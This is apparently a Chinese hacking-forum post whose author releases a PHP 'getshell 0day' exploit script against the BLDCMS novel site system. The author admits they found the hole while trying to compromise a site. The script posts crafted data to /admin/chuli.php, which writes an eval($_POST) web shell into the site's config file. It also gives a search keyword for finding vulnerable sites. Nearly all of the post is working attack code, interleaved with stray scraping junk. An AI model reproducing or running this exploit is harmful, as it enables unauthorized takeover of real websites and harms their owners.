BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞

+ ]. T, x, g4 p- j6 m
1 |* o: w) G* o+ _- w  A: c话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了

; ?: P. o% V; G2 k2 t$ s, l5 g6 W既然都有人发了 我就把我之前写好的EXP放出来吧

view source print?01.php;">
0 B& S, k0 M. n02.<!--?php
03.echo "-------------------------------------------------------------------
! N9 Y+ [# @2 p+ R04.
05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
$ o6 I' U6 U' ~* s3 p06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
08.
09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
& S) |( g8 e- @" e. R+ x* ?11.
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
+ X$ T% `' h0 h: p3 T+ i! J13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
# @" E4 A. j: S2 u! l4 L7 f15.
6 p$ a& k( q# F0 w& P( s16.--------------------------------------------------------------------\r\n";
17.$url=$argv[1];
18.$dir=$argv[2];
) b9 E4 u3 T+ I8 Y: t& u19.$pass=$argv[3];
! t' _1 t1 o" E3 p& E. }: g- t+ w20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
21.if (emptyempty($pass)||emptyempty($url))
5 S. m: ~+ |# Q4 S5 c0 y; c6 m22.{exit("请输入参数");}
23.else
24.{
( H8 c; t2 ]* f25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
27.al;
0 s/ `+ x; E; ?( V. I28.$length = strlen($fuckdata);
29.function getshell($url,$pass)
+ _; ~+ G3 E5 a. g+ S+ K% ?. l30.{
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
4 G; H; d% R  T2 x1 @' ^3 K32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
6 q& L9 e; }/ T: I4 E) F3 O34.$header .= "User-Agent: MSIE\r\n";
35.$header .= "Host:".$url."\r\n";
36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
1 u9 {  D% A+ D: \9 D38.$header .="\r\n";
39.$header .= $fuckdata."\r\n\r\n";
( |! K1 ~% Z: {: f: g* Z40.$fp = fsockopen($url, 80,$errno,$errstr,15);
! }& j: Z" s2 U2 A/ A" v41.if (!$fp)
42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
  `  h( }2 p( y" @45.else{ if (!fputs($fp,$header))
8 Q7 P, m6 i0 i46.{exit ("利用失败");}
47.else
4 T/ ^( z+ }" E- m, Z" B1 ?$ M8 i48.{
49.$receive = '';
50.while (!feof($fp)) {
51.$receive .= @fgets($fp, 1000);
52.}
) A7 a, m  C* b# f53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
55.
56.GPC是否=off)";
0 _4 H% {7 |' ]* g0 [57.}}
+ c7 m3 s3 I- ~( \58.}
) D; e0 X6 P) n* m59.}
$ z9 e: N7 p% Y/ b3 C8 p60.getshell($url,$pass);
! p& a# x$ d: ~- ?61.?-->
; o. r; n9 }$ r
4 J( n5 z! O6 h& o( o. H$ R
" t$ u; ~* e6 O% l8 J: f
- v! M! T7 E2 w1 C8 ^) Q" }by 数据流
/ ~4 H6 e/ j# |